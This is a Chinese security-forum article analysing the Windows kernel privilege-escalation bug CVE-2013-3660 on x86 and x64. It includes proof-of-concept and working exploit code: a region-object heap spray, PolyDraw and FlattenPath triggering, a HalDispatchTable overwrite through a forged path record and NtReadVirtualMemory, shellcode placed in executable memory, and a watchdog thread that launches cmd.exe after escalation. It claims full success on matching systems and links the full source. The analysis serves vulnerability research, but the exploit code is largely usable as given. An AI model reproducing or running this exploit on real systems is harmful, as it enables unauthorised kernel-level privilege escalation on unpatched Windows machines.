Microsoft Windows提权漏洞CVE-2013-3660 x86、x64双平台分析

本文为看雪论坛优秀文章
看雪论坛作者ID:ExploitCN
一
前言
1. 概述
2. 非常重要的说明
https://www.anquanke.com/post/id/205867
https://bbs.pediy.com/thread-178154.htm
二
POC分析
1. 漏洞原因
读到这里,如果还不理解污染数据是怎么污染池的,没关系,在第4节我会把调试的内存贴出来,就理解怎么污染到数据的了。

图1 new_PathRecord指针未初始化

2. POC关键代码
for (Size = 1 << 26; Size; Size >>= 1) {while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1)) {NumRegion++;}}
PathRecord = (PPATHRECORD)VirtualAlloc(NULL,sizeof(PATHRECORD),MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);PathRecord->next = (PATHRECORD*)(0x41414143);PathRecord->prev = (PATHRECORD*)(0x42424244);PathRecord->flags = 0;for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {Points[PointNum].x = (ULONG)(PathRecord) >> 4;Points[PointNum].y = 0;PointTypes[PointNum] = PT_BEZIERTO;}
for ( PointNum = MAX_POLYPOINTS;PointNum;PointNum-=3){BeginPath(Device);PolyDraw(Device, Points, PointTypes, PointNum);EndPath(Device);FlattenPath(Device);FlattenPath(Device);EndPath(Device);}

图4 漏洞触发函数调用关系图
3. POC运行结果
POC运行结果见下图,由图可见,当Points[PointNum].x 等于0x41414141的时,出现异常时,读取的数值实际为0x41414140,被左移了4位。所以,在写地址的时候,要右移4位,才能得到准确的地址。这就了为什么
Points[PointNum].x = (ULONG_PTR)(0x41414141) >> 4,
要右移4位的原因。

4. POC数据分析

图6 POC数据分析图

三
EXP分析
1. EXP关键原理分析
1.1 原始版EXP原理图

图7 原始版EXP原理图
ExploitRecord.next = (PPATHRECORD)*DispatchRedirect;ExploitRecord.prev = (PPATHRECORD)&HalDispatchTable[1];ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;ExploitRecord.count = 4;

图8 Exploit利用点
// nt!NtQueryIntervalProfile的第二个参数就是shellcode地址,// 而0x40,就是ebp相对于第二个参数的偏移。// 具体调试结果见EXP调试一节。VOID __declspec(naked) HalDispatchRedirect(VOID){__asm inc eax__asm jmp dword ptr[ebp + 0x40]; // 0__asm inc ecx...........}
1.1 升级版EXP原理图

图8 升级版EXP原理图
NtReadVirtualMemory((HANDLE)-1, NtReadVirtualMemoryBuffer,NtReadVirtualMemoryBuffer, (SIZE_T)CodeAddr, HalDispatchTable+8);
调用,来实现把申请的堆地址写入HalDispatchTable+8,这时,调用NtQueryIntervalProfile就会调用到shellcode。之前已经把shellcode写入了堆。
2. EXP调试

上面是x86下原始版代码调试过程截图,对于x64下的调试,和x86异曲同工,就没有截图进行说明了。因为从原理也可以看出,其实x64下的调试过程更简单,但是EXP编写的技巧更强,这里,我就介绍下x64平台下编写EXP的技巧,调试的话,就各位自己下来调试了。
3. x64平台EXP关键代码详解
3.1 将shellcode地址写入目标地址
CodeAddr = (PVOID)0x1000;DWORD_PTR AllocSize = 0x1000;DWORD_PTR ADDR = 0;while (true){DWORD ret = NtAllocateVirtualMemory((HANDLE)-1,&CodeAddr,0,&AllocSize,MEM_RESERVE | MEM_COMMIT,PAGE_EXECUTE_READWRITE);if (ret != 0) {ADDR = (DWORD_PTR)CodeAddr + 0x1000;CodeAddr = (PVOID)ADDR;continue;}else{break;}}NtReadVirtualMemoryBuffer = (PBYTE)malloc((SIZE_T)CodeAddr);printf("NtReadVirtualMemoryBuffer %p CodeAddr shellcode address:%p\n", \NtReadVirtualMemoryBuffer, CodeAddr);printf("ShellCode_END = %p\n", ShellCode_END);printf("ShellCode = %p\n", ShellCode);printf("%x\n", (PBYTE)ShellCode_END - (PBYTE)ShellCode);memcpy(CodeAddr, ShellCode, (PBYTE)ShellCode_END - (PBYTE)ShellCode);
把shellcode函数地址写入HalDispatchTable的代码是:
NtReadVirtualMemory((HANDLE)-1, NtReadVirtualMemoryBuffer,NtReadVirtualMemoryBuffer, (SIZE_T)CodeAddr, HalDispatchTable+8);
NtReadVirtualMemoryBuffer = (PBYTE)malloc((SIZE_T)CodeAddr);
这里,
假如分配地址是0x1F0000,那么分配的内存大小就是0x1F0000,因为NtReadVirtualMemory,的最后一个参数是读入的实际大小,这儿需要定义成地址大小,那么就把CodeAddr这个地址,作为长度写入了HalDispatchtable+8。
NtReadVirtualMemory->长度写入HalDispatchtable+8->NtQueryIntervalProfile->调用写入的长度(地址)。
3.2 通过watchdog实现Exploit
while (TRUE){Device = GetDC(NULL);Mutex = CreateMutex(NULL, FALSE, NULL);WaitForSingleObject(Mutex, INFINITE);printf("Mutex = %x\n", Mutex);Thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WatchdogThread, NULL, 0, NULL);if ( Thread ==NULL){printf("Create Thread Failed!\n");continue;}printf("start CreateRoundRectRgn\n");for (Size = 1 << 26; Size; Size >>= 1) {while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1)) {NumRegion++;}}printf("Allocated %u/%u HRGN objects\n", NumRegion, MaxRegions);printf("Flattening curves...\n");for ( PointNum = MAX_POLYPOINTS;PointNum;PointNum-=3){BeginPath(Device);PolyDraw(Device, Points, PointTypes, PointNum);EndPath(Device);FlattenPath(Device);FlattenPath(Device);if (PathRecord->next!=PathRecord){DWORD_PTR ret = FALSE;SIZE_T Count = 0;//CodeAddr写入HalDispatchTable,写入HaliQuerySystemInformationprintf("CodeAddr = %x\n", (SIZE_T)CodeAddr);printf("NtReadVirtualMemoryBuffer = %p\n", NtReadVirtualMemoryBuffer);printf("HalDispatchTable = %p\n", HalDispatchTable);ret = NtReadVirtualMemory((HANDLE)-1, NtReadVirtualMemoryBuffer,NtReadVirtualMemoryBuffer, (SIZE_T)CodeAddr, HalDispatchTable);printf("ret = %x\n", ret);if ( ret == NULL){//在下面的调用shellcode那里打断点ULONG ret = 0;NtQueryIntervalProfile((ULONG)pShellCodeInfo, &ret);ShellExecuteA(NULL, "open", "cmd.exe", NULL, NULL, SW_SHOW);return;}}EndPath(Device);}while (NumRegion) {DeleteObject(Regions[--NumRegion]);}printf("cleaning up...\n");ReleaseMutex(Mutex);WaitForSingleObject(Thread, INFINITE);ReleaseDC(NULL, Device);ReleaseDC(NULL, Device);printf("ReStarting!\n");}}
DWORD WINAPI WatchdogThread(LPVOID Parameter){printf("Enter WatchdogThread!\n");if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT){printf("InterlockedExchangePointer\n");while (NumRegion){DeleteObject(Regions[--NumRegion]);}InterlockedExchangePointer((volatile PVOID*)&PathRecord->next, &ExploitRecord);}else{printf("Mutex object did not timeout, list not patched\n");}printf("Leave WatchdogThread!\n");return 0;}
4. x64平台EXP编写注意事项
实际是假冒的HaliQuerySystemInformation。NtQueryIntervalProfile第一个参数,就是HaliQuerySystemInformation的第三个参数Buffer取值。
四
提权复现

你下载跟我相同版本的系统,成功率会是100%。
五
源代码下载
CVE-2013-3660 x64平台源代码(https://github.com/ExploitCN/CVE-2013-3660-x64-WIN7)
看雪ID:ExploitCN
https://bbs.pediy.com/user-home-945611.htm

# 往期推荐
3.什么是runC?


球分享

球点赞

球在看

点击“阅读原文”,了解更多!
[广告]赞助链接:
关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注KnowSafe微信公众号随时掌握互联网精彩
赞助链接



